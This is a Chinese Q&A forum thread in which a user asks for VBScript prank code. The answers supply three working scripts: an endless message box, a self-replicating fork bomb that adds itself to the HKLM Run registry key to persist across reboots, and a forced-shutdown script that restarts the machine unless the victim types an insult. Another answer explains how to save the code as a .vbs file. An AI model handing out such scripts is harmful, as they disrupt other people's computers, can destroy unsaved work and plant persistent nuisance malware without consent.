谁知道有什么vbs的整人代码吗？？

Answer 1

如果只是开玩笑用这个：
危害度：0
整人度：1

do
msgbox "你好！"
loop

这个稍微狠一点：
危害度：2
整人度：2

Set sh=CreateObject("WScript.Shell")
dim i,s,z,thn
z=array(4,5,16,32,48,64)
i=0
s=1
do
do while i<s
i=i+1
sh.run wscript.scriptfullname
loop
s=s+1
i=0
randomize
wscript.sleep int(rnd()*100)
msgbox "程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"
thn=wscript.scriptfullname
sh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn
loop

还有这个流行的“我是猪”：

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说“我是猪”就会关机，不信……试下。"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就可以不关机，快点，说 ""我是猪"" ","好好考虑吧……","你才是",8000,7000)
if a="你才是"then
if df<>"yes" then
dim df
df="yes"
msgbox "敢骂我，你再骂一次试看看！",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
else
msgbox "好哇，天堂有路你不走，关机无门你偏来，关机吧~~~",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c ""说我是猪，不说“我是猪”就会关机，不信……试下。"" ",0 ,true
end if
end if
loop
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + "早说不就行了嘛",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
msgbox chr(13) + "哈哈哈哈，人才，人才呀",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal

危害度：1
整人度：4

不过，楼主，我还是忠心的提醒您一下：开玩笑可别过火啊。

参考资料：纯属原创。

Answer 2

新建一个文本文档，把代码写进去，另存为VBS格式，就可以啦

Answer 3

上百度找一下！